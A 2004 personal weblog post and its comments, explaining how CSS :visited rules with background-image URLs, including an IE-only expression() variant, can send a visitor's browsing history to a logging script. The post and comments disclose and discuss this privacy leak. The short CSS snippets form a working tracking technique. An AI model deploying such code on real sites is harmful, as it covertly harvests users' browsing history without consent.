I'm a 32-year-old webdeveloper living in Wateringen, working in Rotterdam, The Netherlands.
This is my personal weblog.
Sometimes I make art with code.
I like to make lots of photos, of which I post my faves here.
Mail me at milovermeulen at gmail dot com!
View all photos, or filter by faves, art, concerts, trips, animals, black-and-white, street shots, squares, more...
using :visited and expression() to detect any visited link
:visitedpseudo-class and background-image urls to detect if a user has visited a particular link.Luckily for Internet Explorer users, they are unaffected because IE doesn't support the
[href=]selector. Unfortunately, there's another method that does work in IE and is even more dangerous...a[href="http://slashdot.org/"]:visited { background-image: url(tracker.php?url=slashdot.org); } a[href="http://metafilter.com/"]:visited { background-image: url(tracker.php?url=metafilter.com); }(tracker.php being some server-side script that logs the url and ip-address, enabling the site owner to see which of his visitors have visited slashdot.org or metafilter.com.) The code below however, not only works in Internet Explorer but because it uses the special IE-onlyexpression()property to dynamically append the href to the fake image url, it can be used to track all visited links, foregoing the need to specify a separate rule for each link:a:visited { background-image: expression('url(tracker.php?url='+this.href+')'); }tags:- css
- coding
- hacking
- javascript
posted Wednesday, May 26, 2004comments
1. posted by Thiemo at 16:02 on May 26, 2004
<a href="tracker.php?url=slashdot.org">
2. posted by P01 at 16:02 on May 26, 2004
Indeed, if the tracker.php script goes recursively through the pages visited by the user it can reveal some really valuable infos ( imagine the extra incomes an ad system could ask if it implements that sort of sniffer ) and eventually set a breach for the sites using an authentication via the parameters sent in GET ( which is whatever, a security no-no ).
The violation of privacy could reach an higher scale if the spamming companies used that exploit ( if don't already do ) in their mails.
3. posted by milov at 16:07 on May 26, 2004
4. posted by Jan! at 16:12 on May 26, 2004
Apart from that, I don't get why everyone's upset all of a sudden when this has been known (and applied) for years.
5. posted by Thiemo at 16:20 on May 26, 2004
6. posted by milov at 16:36 on May 26, 2004
7. posted by Andrew Clover at 12:32 on May 27, 2004
http://www.doxdesk.com/personal/posts/bugtraq/20020214-css.html
There is no obvious good solution.
« On Fornication And Genetics in The Breedster Age | Main | Rovo mp3s at Epitonic.com »